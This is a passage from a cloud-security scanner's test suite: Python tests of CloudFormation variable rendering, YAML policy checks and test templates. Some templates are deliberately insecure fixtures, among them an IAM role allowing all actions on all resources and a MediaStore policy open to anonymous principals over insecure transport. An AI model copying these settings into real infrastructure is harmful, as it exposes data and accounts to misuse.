os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json'))\n        self.validate_render_getatt(yaml_test_dir, 'yaml')\n        self.validate_render_getatt(json_test_dir, 'json')\n\n    def validate_render_getatt(self, test_dir: str, file_ext: str):\n        graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True)\n\n        web_vpc_expected_cidr_block = \"172.16.0.0/16\"\n\n        web_vpc_expected_attributes = {'CidrBlock': web_vpc_expected_cidr_block}\n        my_sg_expected_attributes = {'SecurityGroupIngress.CidrIp': web_vpc_expected_cidr_block}\n        web_vpc_default_sg_expected_attributes = {'Value.Fn::GetAtt': ['WebVPC', 'DefaultSecurityGroup']}\n\n        self.compare_vertex_attributes(local_graph, web_vpc_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::VPC.WebVPC')\n        self.compare_vertex_attributes(local_graph, my_sg_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::SecurityGroup.MySG')\n        self.compare_vertex_attributes(local_graph, web_vpc_default_sg_expected_attributes, BlockType.OUTPUTS, 'WebVPCDefaultSg')\n\n        web_vpc_expected_breadcrumbs = {}\n        my_sg_expected_breadcrumbs = {\n            \"SecurityGroupIngress.0.CidrIp\": [\n                {\n                    \"type\": BlockType.RESOURCE,\n                    \"name\": \"AWS::EC2::VPC.WebVPC\",\n                    \"path\": os.path.join(test_dir, f\"test.{file_ext}\"),\n                    \"attribute_key\": \"CidrBlock\",\n                },\n            ],\n            \"SecurityGroupIngress.0\": [\n                {\n                    \"type\": BlockType.RESOURCE,\n                    \"name\": \"AWS::EC2::VPC.WebVPC\",\n                    \"path\": os.path.join(test_dir, f\"test.{file_ext}\"),\n                    \"attribute_key\": \"CidrBlock\",\n                },\n            ],\n        }\n        web_vpc_default_sg_expected_breadcrumbs = {}\n\n        self.compare_vertex_breadcrumbs(local_graph, web_vpc_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::EC2::VPC.WebVPC')\n        self.compare_vertex_breadcrumbs(local_graph, my_sg_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::EC2::SecurityGroup.MySG')\n        self.compare_vertex_breadcrumbs(local_graph, web_vpc_default_sg_expected_breadcrumbs, BlockType.OUTPUTS, 'WebVPCDefaultSg')\n\n    def test_render_sub(self):\n        relative_path = './resources/variable_rendering/render_sub/'\n        yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml'))\n        json_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json'))\n        self.validate_render_sub(yaml_test_dir, 'yaml')\n        self.validate_render_sub(json_test_dir, 'json')\n\n    def validate_render_sub(self, test_dir: str, file_ext: str):\n        graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True)\n\n        company_name_expected_value = \"acme\"\n        web_vpc_expected_cidr_block = \"172.16.0.0/16\"\n\n        # Parameters\n        company_name_expected_attributes = {'Default': company_name_expected_value}\n        environment_expected_attributes = {'Default': None}\n        # Resources\n        web_vpc_expected_attributes = {'CidrBlock': web_vpc_expected_cidr_block}\n        default_db_expected_attributes = {'DBName': {'Fn::Sub': 'rds-${CompanyName}-${Environment}'}}\n        # Outputs\n        db_endpoint_sg_expected_attributes = {'Value.Fn::Sub': \"${DefaultDB.Endpoint.Address}:${DefaultDB.Endpoint.Port}\"}\n        web_vpc_cidr_block_expected_attributes = {'Value': web_vpc_expected_cidr_block}\n        cidr_block_associations_expected_attributes = {'Value.Fn::Sub': \"${WebVPC.CidrBlockAssociations}\"}\n        default_db_name_expected_attributes = {'Value': {'Fn::Sub': 'rds-${CompanyName}-${Environment}'}}\n\n        self.compare_vertex_attributes(local_graph, company_name_expected_attributes, BlockType.PARAMETERS, 'CompanyName')\n        self.compare_vertex_attributes(local_graph, environment_expected_attributes, BlockType.PARAMETERS, 'Environment')\n        self.compare_vertex_attributes(local_graph, web_vpc_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::VPC.WebVPC')\n        self.compare_vertex_attributes(local_graph, default_db_expected_attributes, BlockType.RESOURCE, 'AWS::RDS::DBInstance.DefaultDB')\n        self.compare_vertex_attributes(local_graph, db_endpoint_sg_expected_attributes, BlockType.OUTPUTS, 'DBEndpoint')\n        self.compare_vertex_attributes(local_graph, web_vpc_cidr_block_expected_attributes, BlockType.OUTPUTS, 'WebVPCCidrBlock')\n        self.compare_vertex_attributes(local_graph, cidr_block_associations_expected_attributes, BlockType.OUTPUTS, 'CidrBlockAssociations')\n        self.compare_vertex_attributes(local_graph, default_db_name_expected_attributes, BlockType.OUTPUTS, 'DefaultDBName')\n\n        # Check that config is updated as well\n        self.compare_vertex_config(local_graph, web_vpc_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::VPC.WebVPC')\n\n        company_name_expected_breadcrumbs = {}\n        environment_expected_breadcrumbs = {}\n        web_vpc_expected_breadcrumbs = {}\n        default_db_expected_breadcrumbs = {}\n        db_endpoint_sg_expected_breadcrumbs = {}\n        web_vpc_cidr_block_expected_breadcrumbs = {'Value': [{'type': BlockType.RESOURCE, 'name': 'AWS::EC2::VPC.WebVPC', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'CidrBlock'}]}\n        cidr_block_associations_expected_breadcrumbs = {}\n        default_db_name_expected_breadcrumbs = {}\n\n        self.compare_vertex_breadcrumbs(local_graph, company_name_expected_breadcrumbs, BlockType.PARAMETERS, 'CompanyName')\n        self.compare_vertex_breadcrumbs(local_graph, environment_expected_breadcrumbs, BlockType.PARAMETERS, 'Environment')\n        self.compare_vertex_breadcrumbs(local_graph, web_vpc_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::EC2::VPC.WebVPC')\n        self.compare_vertex_breadcrumbs(local_graph, default_db_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::RDS::DBInstance.DefaultDB')\n        self.compare_vertex_breadcrumbs(local_graph, db_endpoint_sg_expected_breadcrumbs, BlockType.OUTPUTS, 'DBEndpoint')\n        self.compare_vertex_breadcrumbs(local_graph, web_vpc_cidr_block_expected_breadcrumbs, BlockType.OUTPUTS, 'WebVPCCidrBlock')\n        self.compare_vertex_breadcrumbs(local_graph, cidr_block_associations_expected_breadcrumbs, BlockType.OUTPUTS, 'CidrBlockAssociations')\n        self.compare_vertex_breadcrumbs(local_graph, default_db_name_expected_breadcrumbs, BlockType.OUTPUTS, 'DefaultDBName')\n\n\n    def test_render_subsequent_evals(self):\n        relative_path = './resources/variable_rendering/render_subsequent_evals/'\n        yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml'))\n        json_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json'))\n        self.validate_render_subsequent_evals(yaml_test_dir, 'yaml')\n        self.validate_render_subsequent_evals(json_test_dir, 'json')\n\n    def validate_render_subsequent_evals(self, test_dir: str, file_ext: str):\n        graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True)\n\n        cidr_block_expected_expected_value = \"172.16.0.0/16\"\n\n        cidr_block_expected_attributes = {'Default': cidr_block_expected_expected_value}\n        web_vpc_expected_attributes = {'CidrBlock': cidr_block_expected_expected_value}\n        my_sg_expected_attributes = {'SecurityGroupIngress.CidrIp': cidr_block_expected_expected_value}\n\n        self.compare_vertex_attributes(local_graph, cidr_block_expected_attributes, BlockType.PARAMETERS, 'CidrBlock')\n        self.compare_vertex_attributes(local_graph, web_vpc_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::VPC.WebVPC')\n        self.compare_vertex_attributes(local_graph, my_sg_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::SecurityGroup.MySG')\n\n        cidr_block_expected_breadcrumbs = {}\n        web_vpc_expected_breadcrumbs = {'CidrBlock': [{'type': BlockType.PARAMETERS, 'name': 'CidrBlock', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'}, {'type': BlockType.RESOURCE, 'name': 'AWS::EC2::VPC.WebVPC', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'CidrBlock'}]}\n        my_sg_expected_breadcrumbs = {\n            \"SecurityGroupIngress.0.CidrIp\": [\n                {\n                    \"type\": BlockType.PARAMETERS,\n                    \"name\": \"CidrBlock\",\n                    \"path\": os.path.join(test_dir, f\"test.{file_ext}\"),\n                    \"attribute_key\": \"Default\",\n                },\n                {\n                    \"type\": BlockType.RESOURCE,\n                    \"name\": \"AWS::EC2::VPC.WebVPC\",\n                    \"path\": os.path.join(test_dir, f\"test.{file_ext}\"),\n                    \"attribute_key\": \"CidrBlock\",\n                },\n            ],\n            \"SecurityGroupIngress.0\": [\n                {\n                    \"type\": BlockType.PARAMETERS,\n                    \"name\": \"CidrBlock\",\n                    \"path\": os.path.join(test_dir, f\"test.{file_ext}\"),\n                    \"attribute_key\": \"Default\",\n                }, \n                {\n                    \"type\": BlockType.RESOURCE,\n                    \"name\": \"AWS::EC2::VPC.WebVPC\",\n                    \"path\": os.path.join(test_dir, f\"test.{file_ext}\"),\n                    \"attribute_key\": \"CidrBlock\",\n                },\n            ],\n        }\n\n        self.compare_vertex_breadcrumbs(local_graph, cidr_block_expected_breadcrumbs, BlockType.PARAMETERS, 'CidrBlock')\n        self.compare_vertex_breadcrumbs(local_graph, web_vpc_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::EC2::VPC.WebVPC')\n        self.compare_vertex_breadcrumbs(local_graph, my_sg_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::EC2::SecurityGroup.MySG')\n\n    def test_render_select(self):\n        relative_path = './resources/variable_rendering/render_select/'\n        yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml'))\n        json_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json'))\n        self.validate_render_select(yaml_test_dir, 'yaml')\n        self.validate_render_select(json_test_dir, 'json')\n\n    def validate_render_select(self, test_dir: str, file_ext: str):\n        graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True)\n\n        subnet0_expected_attributes = {'CidrBlock': '10.0.48.0/24'}\n        grapes_select_expected_attributes = {'Value': 'grapes'}\n        out_of_bound_select_expected_attributes = {'Value.Fn::Select': ['7', ['apples', 'grapes', 'oranges', 'mangoes']]}\n\n        self.compare_vertex_attributes(local_graph, subnet0_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::Subnet.Subnet0')\n        self.compare_vertex_attributes(local_graph, grapes_select_expected_attributes, BlockType.OUTPUTS, 'GrapesSelect')\n        self.compare_vertex_attributes(local_graph, out_of_bound_select_expected_attributes, BlockType.OUTPUTS, 'OutOfBoundSelect')\n\n        subnet0_expected_breadcrumbs = {'CidrBlock.Fn::Select.1': [{'type': BlockType.PARAMETERS, 'name': 'DbSubnetIpBlocks', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'}], 'CidrBlock.Fn::Select': [{'type': BlockType.PARAMETERS, 'name': 'DbSubnetIpBlocks', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'}]}\n        grapes_select_expected_breadcrumbs = {}\n        out_of_bound_select_expected_breadcrumbs = {}\n\n        self.compare_vertex_breadcrumbs(local_graph, subnet0_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::EC2::Subnet.Subnet0')\n        self.compare_vertex_breadcrumbs(local_graph, grapes_select_expected_breadcrumbs, BlockType.OUTPUTS, 'GrapesSelect')\n        self.compare_vertex_breadcrumbs(local_graph, out_of_bound_select_expected_breadcrumbs, BlockType.OUTPUTS, 'OutOfBoundSelect')\n\n    def test_render_join(self):\n        relative_path = './resources/variable_rendering/render_join/'\n        yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml'))\n        json_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json'))\n        self.validate_render_join(yaml_test_dir, 'yaml')\n        self.validate_render_join(json_test_dir, 'json')\n\n    def validate_render_join(self, test_dir: str, file_ext: str):\n        graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True)\n\n        s3bucket1_expected_attributes = {'BucketName': 'a:b:c'}\n        s3bucket2_expected_attributes = {'BucketName': 'my_bucket_name_test'}\n\n        self.compare_vertex_attributes(local_graph, s3bucket1_expected_attributes, BlockType.RESOURCE, 'AWS::S3::Bucket.S3Bucket1')\n        self.compare_vertex_attributes(local_graph, s3bucket2_expected_attributes, BlockType.RESOURCE, 'AWS::S3::Bucket.S3Bucket2')\n\n        s3bucket1_expected_breadcrumbs = {}\n        s3bucket2_expected_breadcrumbs = {'BucketName.Fn::Join.1.0': [{'type': BlockType.PARAMETERS, 'name': 'BucketName', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'}], 'BucketName.Fn::Join.1': [{'type': BlockType.PARAMETERS, 'name': 'BucketName', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'}], 'BucketName.Fn::Join': [{'type': BlockType.PARAMETERS, 'name': 'BucketName', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'}]}\n\n        self.compare_vertex_breadcrumbs(local_graph, s3bucket1_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::S3::Bucket.S3Bucket1')\n        self.compare_vertex_breadcrumbs(local_graph, s3bucket2_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::S3::Bucket.S3Bucket2')\n\n    def test_render_if(self):\n        relative_path = './resources/variable_rendering/render_if/'\n        yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml'))\n        json_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json'))\n        self.valiate_render_if(yaml_test_dir, 'yaml')\n        self.valiate_render_if(json_test_dir, 'json')\n\n    def valiate_render_if(self, test_dir: str, file_ext: str):\n        graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True)\n\n        ec2instance_expected_attributes = {'InstanceType': 'm1.large'}\n        s3bucketsuspended_expected_attributes = {'VersioningConfiguration.Status': 'Suspended'}\n        s3bucketenabled_expected_attributes = {'VersioningConfiguration.Status': 'Enabled'}\n\n        self.compare_vertex_attributes(local_graph, ec2instance_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::Instance.EC2Instance')\n        self.compare_vertex_attributes(local_graph, s3bucketsuspended_expected_attributes, BlockType.RESOURCE, 'AWS::S3::Bucket.S3BucketSuspended')\n        self.compare_vertex_attributes(local_graph, s3bucketenabled_expected_attributes, BlockType.RESOURCE, 'AWS::S3::Bucket.S3BucketEnabled')\n\n        instancesize_breadcrumb = {'type': BlockType.PARAMETERS, 'name': 'InstanceSize', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'}\n        ec2instance_expected_breadcrumbs = {\n            'InstanceType.Fn::If.2.Fn::If.1': [instancesize_breadcrumb],\n            'InstanceType.Fn::If.2.Fn::If': [instancesize_breadcrumb],\n            'InstanceType.Fn::If.2': [instancesize_breadcrumb],\n            'InstanceType.Fn::If': [instancesize_breadcrumb],\n            'InstanceType': [instancesize_breadcrumb],\n        }\n        s3bucketsuspended_expected_breadcrumbs = {}\n        s3bucketenabled_expected_breadcrumbs = {}\n\n        self.compare_vertex_breadcrumbs(local_graph, ec2instance_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::EC2::Instance.EC2Instance')\n        self.compare_vertex_breadcrumbs(local_graph, s3bucketsuspended_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::S3::Bucket.S3BucketSuspended')\n        self.compare_vertex_breadcrumbs(local_graph, s3bucketenabled_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::S3::Bucket.S3BucketEnabled')\n\n    def compare_vertex_attributes(self, local_graph, expected_attributes, block_type, block_name):\n        vertex = local_graph.vertices[local_graph.vertices_block_name_map[block_type][block_name][0]]\n        vertex_attributes = vertex.get_attribute_dict()\n        for attribute_key, expected_value in expected_attributes.items():\n            actual_value = vertex_attributes.get(attribute_key)\n            if not isinstance(expected_value, dict):\n                self.assertEqual(expected_value, actual_value, f'error during comparing {block_type} in attribute key: {attribute_key}')\n            else:\n                for cfn_func, evaluated_value in expected_value.items():\n                    self.assertIn(cfn_func, actual_value, f'error during comparing {block_type} in attribute key: {attribute_key}')\n                    self.assertIn(actual_value[cfn_func], evaluated_value, f'error during comparing {block_type} in attribute key: {attribute_key}')\n\n    def compare_vertex_breadcrumbs(self, local_graph, expected_breadcrumbs, block_type, block_name):\n        vertex = local_graph.vertices[local_graph.vertices_block_name_map[block_type][block_name][0]]\n        vertex_breadcrumbs = vertex.breadcrumbs\n        self.assertEqual(len(vertex_breadcrumbs), len(expected_breadcrumbs))\n        if len(expected_breadcrumbs) > 0:\n            for vertex_id, expected_value in expected_breadcrumbs.items():\n                actual_value = vertex_breadcrumbs.get(vertex_id)\n                self.assertEqual(expected_value, actual_value, f'actual breadcrumbs of vertex {vertex.id} different from'\n                                                               f' expected. expected = {expected_breadcrumbs}'\n                                                               f' and actual = {actual_value}')\n\n    def compare_vertex_config(self, local_graph, expected_config, block_type, block_name):\n        vertex = local_graph.vertices[local_graph.vertices_block_name_map[block_type][block_name][0]]\n        vertex_config = vertex.config\n        for attribute_key, expected_value in expected_config.items():\n            # For attributes, we often test against flattened keys like \"SecurityGroupIngress.CidrIp\"\n            # For config, which is the original nested structure (Properties), we need to traverse\n            if \".\" in attribute_key:\n                jsonpath_expression = get_jsonpath_from_evaluated_key(attribute_key)\n                match = jsonpath_expression.find(vertex_config)\n                if match:\n                    actual_value = match[0].value\n                else:\n                    actual_value = None\n            else:\n                actual_value = vertex_config.get(attribute_key)\n\n            if not isinstance(expected_value, dict):\n                self.assertEqual(expected_value, actual_value, f'error during comparing {block_type} in config key: {attribute_key}')\n            else:\n                if actual_value is None:\n                     self.fail(f'Config key {attribute_key} not found')\n                for cfn_func, evaluated_value in expected_value.items():\n                    self.assertIn(cfn_func, actual_value, f'error during comparing {block_type} in config key: {attribute_key}')\n                    self.assertIn(actual_value[cfn_func], evaluated_value, f'error during comparing {block_type} in config key: {attribute_key}')\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_runner/__init__.py",
    "content": ""
  },
  {
    "path": "tests/cloudformation/graph/graph_runner/external_graph_checks/complex_jsonpath_if_condition.yaml",
    "content": "metadata:\n  id: \"complex_jsonpath_if_condition\"\n  name: \"cfn-if\"\n  severity: \"high\"\n  guidelines: \"MGUIFDE\"\n  category: \"general\"\nscope:\n  provider: \"aws\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"AWS::ECS::TaskDefinition\"\n      attribute: \"ContainerDefinitions[?(!@.LogConfiguration)]\"\n      operator: \"jsonpath_not_exists\""
  },
  {
    "path": "tests/cloudformation/graph/graph_runner/external_graph_checks/jsonpath_policy.yaml",
    "content": "metadata:\n  id: \"CKV2_CFN_JSONPATH_POLICY\"\n  name: \"Jsonpath policy for cloudformation\"\n  severity: \"high\"\n  guidelines: \"Mediastore container and objects must not be accessible anonymously\"\n  category: \"general\"\nscope:\n  provider: \"aws\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"AWS::MediaStore::Container\"\n      attribute: \"Policy.Statement[?(@.Effect == 'Allow' & @.Principal == '*')]\"\n      operator: \"jsonpath_not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"AWS::MediaStore::Container\"\n      attribute: \"Policy.Statement[?(@.Effect == 'Allow')].Principal.AWS[*]\"\n      operator: \"jsonpath_not_equals\"\n      value: \"*\""
  },
  {
    "path": "tests/cloudformation/graph/graph_runner/external_graph_checks/simple_graph_check.yaml",
    "content": "metadata:\n name: \"simple_graph_check\"\n id: \"CKV2_TEST_SIMPLE\"\n category: \"GENERAL\"\ndefinition:\n  attribute: \"ContainerDefinitions.LogConfiguration.LogDriver\"\n  cond_type: \"attribute\"\n  operator: \"exists\"\n  resource_types:\n    - \"AWS::ECS::TaskDefinition\""
  },
  {
    "path": "tests/cloudformation/graph/graph_runner/resources/LambdaFunction.json",
    "content": "{\n  \"Resources\": {\n    \"LambdaFunction\": {\n      \"Type\": \"AWS::Lambda::Function\",\n      \"Properties\": {\n        \"FunctionName\": \"${AWS::AccountId}-${CompanyName}-${Environment}-analysis\",\n        \"Runtime\": \"nodejs12.x\",\n        \"Role\": \"!GetAtt IAM4Lambda.Arn\",\n        \"Handler\": \"exports.test\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/graph/graph_runner/resources/MSKClusterLogging.yaml",
    "content": "Description: MSK Cluster with required properties.\nResources:\n  ClusterBadNoLoggingInfo:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      Tags:\n        - Key: yor_trace\n          Value: \"mock_trace\"\n  ClusterBadNoLoggingDisabled:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      LoggingInfo:\n        BrokerLogs:\n          CloudWatchLogs:\n            Enabled: false\n  ClusterCloudWatchLogsGood:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      LoggingInfo:\n        BrokerLogs:\n          CloudWatchLogs:\n            Enabled: true\n  ClusterFirehoseGood:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      LoggingInfo:\n        BrokerLogs:\n          Firehose:\n            Enabled: true\n  Clusters3Good:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      LoggingInfo:\n        BrokerLogs:\n          S3:\n            Enabled: true\n  ClusterAllGood:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      LoggingInfo:\n        BrokerLogs:\n          CloudWatchLogs:\n            Enabled: true\n          Firehose:\n            Enabled: true\n          S3:\n            Enabled: true\n\n\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_runner/resources/SagemakerNotebookEncryption.yaml",
    "content": "Description: \"Basic NotebookInstance test update to a different instance type\"\nResources:\n  BasicNotebookInstanceBad:\n    Type: \"AWS::SageMaker::NotebookInstance\"\n    Properties:\n      InstanceType: \"ml.t2.large\"\n      RoleArn: !GetAtt ExecutionRole.Arn\n  BasicNotebookInstanceGood:\n    Type: \"AWS::SageMaker::NotebookInstance\"\n    Properties:\n      InstanceType: \"ml.t2.large\"\n      RoleArn: !GetAtt ExecutionRole.Arn\n      KmsKeyId: \"test_kms_key\"\n  ExecutionRole:\n    Type: \"AWS::IAM::Role\"\n    Properties:\n      AssumeRolePolicyDocument:\n        Version: \"2012-10-17\"\n        Statement:\n          -\n            Effect: \"Allow\"\n            Principal:\n              Service:\n                - \"sagemaker.amazonaws.com\"\n            Action:\n              - \"sts:AssumeRole\"\n      Path: \"/\"\n      Policies:\n        -\n          PolicyName: \"root\"\n          PolicyDocument:\n            Version: \"2012-10-17\"\n            Statement:\n              -\n                Effect: \"Allow\"\n                Action: \"*\"\n                Resource: \"*\"\nOutputs:\n  BasicNotebookInstanceId:\n    Value: !Ref BasicNotebookInstance"
  },
  {
    "path": "tests/cloudformation/graph/graph_runner/resources/complex_jsonpath_if_condition/example.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: This template deploys microservice to a ECS cluster with Fargate.\nParameters:\n  AppName:\n    Description: Tech stack name to use when constructing resource names\n    Type: String\n\n  ApplicationIAMRole:\n    Description: \"IAM Role for the application\"\n    Type: String\n\n  CloudformationBucket:\n    Type: String\n\n  DockerImage:\n    Description: Placeholder image for the primeval task definition\n    Type: String\n    Default: moodysanalytics.jfrog.io/\n\n  env:\n    Type: String\n    Default: dev\n\n  version:\n    Type: String\n\n  AWSSSMAgentDockerImage:\n    Description: Image for AWS Amazon SSM Agent\n    Type: String\n    Default: \"amazon-ssm-agent\"\n\n  ApplicationPort:\n    Type: String\n    Default: \"80\"\n\n  TaskDefMemory:\n    Type: String\n    Default: 2048\n\n  TaskDefCPU:\n    Type: String\n    Default: 1024\n\nConditions:\n  IsTrueCondition: !And\n    - !Equals [ !Ref AWSSSMAgentDockerImage, \"amazon-ssm-agent\" ]\n    - !Equals [ !Ref ApplicationPort, \"80\" ]\n  IsFalseCondition: !And\n    - !Equals [ !Ref AWSSSMAgentDockerImage, \"amazon-ssm-agent\" ]\n    - !Equals [ !Ref ApplicationPort, \"81\" ]\n\nResources:\n  PassingExample:\n    Type: AWS::ECS::TaskDefinition\n    Properties:\n      Family: !Ref AppName\n      ContainerDefinitions:\n        - !If\n          - IsTrueCondition\n          - Name: amazon-ssm-agent\n            Image: !Ref AWSSSMAgentDockerImage\n            Essential: true\n            Cpu: 0\n            EntryPoint: [ ]\n            Command: [\n              \"/bin/bash\",\n              \"-c\",\n              \"echo hello\"\n            ]\n            Environment:\n              - Name: MANAGED_INSTANCE_ROLE_NAME\n                Value: lobadmin-managed-fis-ssm-instance\n            LogConfiguration:\n              LogDriver: awslogs\n              Options:\n                awslogs-group: !Ref SSMLogGroup\n                awslogs-region: !Ref AWS::Region\n                awslogs-stream-prefix: !Ref AppName\n          - !Ref \"AWS::NoValue\"\n      Cpu: !Ref TaskDefCPU\n      Memory: !Ref TaskDefMemory\n      ExecutionRoleArn: !Sub arn:aws:iam::${AWS::AccountId}:role/${ApplicationIAMRole}\n      TaskRoleArn: !Sub arn:aws:iam::${AWS::AccountId}:role/lobadmin-managed-ecs-instance-default\n      NetworkMode: awsvpc\n      RequiresCompatibilities:\n        - FARGATE\n      Tags:\n        - Key: application_name\n          Value: !Ref AppName\n\n  FailingExample:\n    Type: AWS::ECS::TaskDefinition\n    Properties:\n      Family: !Ref AppName\n      ContainerDefinitions:\n        - !If\n          - IsFalseCondition\n          - Name: amazon-ssm-agent\n            Image: !Ref AWSSSMAgentDockerImage\n            Essential: true\n            Cpu: 0\n            EntryPoint: [ ]\n            Command: [\n              \"/bin/bash\",\n              \"-c\",\n              \"echo hello\"\n            ]\n            Environment:\n              - Name: MANAGED_INSTANCE_ROLE_NAME\n                Value: lobadmin-managed-fis-ssm-instance\n            LogConfiguration:\n              LogDriver: awslogs\n              Options:\n                awslogs-group: !Ref SSMLogGroup\n                awslogs-region: !Ref AWS::Region\n                awslogs-stream-prefix: !Ref AppName\n          - !Ref \"AWS::NoValue\"\n      Cpu: !Ref TaskDefCPU\n      Memory: !Ref TaskDefMemory\n      ExecutionRoleArn: !Sub arn:aws:iam::${AWS::AccountId}:role/${ApplicationIAMRole}\n      TaskRoleArn: !Sub arn:aws:iam::${AWS::AccountId}:role/lobadmin-managed-ecs-instance-default\n      NetworkMode: awsvpc\n      RequiresCompatibilities:\n        - FARGATE\n      Tags:\n        - Key: application_name\n          Value: !Ref AppName"
  },
  {
    "path": "tests/cloudformation/graph/graph_runner/resources/jsonpath_policy/fail_dict.json",
    "content": "{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Resources\": {\n    \"fail-dict\": {\n      \"Type\": \"AWS::MediaStore::Container\",\n      \"Properties\": {\n        \"ContainerName\": \"fail-dict\",\n        \"Policy\": {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Sid\": \"MediaStoredenyAccess\",\n              \"Effect\": \"Allow\",\n              \"Action\": [\n                \"mediastore:GetObject\",\n                \"mediastore:DeleteObject\",\n                \"mediastore:DescribeObject\",\n                \"mediastore:ListItems\"\n              ],\n              \"Principal\": \"*\",\n              \"Resource\": \"arn:aws:mediastore:${AWS::Region}:${AWS::AccountId}:container/compmediastorecontainer/*\",\n              \"Condition\": {\n                \"Bool\": {\n                  \"aws:SecureTransport\": \"false\"\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}"
  },
